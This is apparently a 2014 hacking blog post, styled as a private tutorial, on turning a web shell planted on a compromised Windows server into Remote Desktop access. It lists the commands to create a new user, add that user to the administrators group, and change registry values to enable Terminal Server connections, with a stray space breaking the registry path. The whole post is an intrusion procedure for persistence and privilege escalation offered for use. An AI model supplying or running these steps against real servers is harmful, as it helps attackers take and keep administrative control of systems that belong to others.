Thursday, December 25, 2014

Get RDP from shell, [small private tut]

Today i am going to explain hot to get RDP from a shell
(Notice:- The shell is uploaded on windows server and commands are executable on the shell)

So here we start the tutorial
(i)Execute this command on the shell
" net user username password /add"

Now you can use any username and password

Step 2:-

After executing this Command you added a user to the RDP. Now we need to add user as Administrator.
Now to add user as administrators group Use this command and execute this in shell.

"net localgroup administrators username /add"


Step 3:-
After execution try to connect with RDP by typing "mstsc" in "run"
add username and pass then click connect and enjoy your RDP.

Note:- If your RDP has static ip but doesnt connect on MSTSC then use these commands to allow remote users


reg add "hklm\system\currentControlSet\Control\Termina l Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f


reg add "hklm\system\currentControlSet\Control\Termina l Server" /v "fDenyTSConnections" /t REG_DWORD /d 0x0 /f

0 Comments:

Post a Comment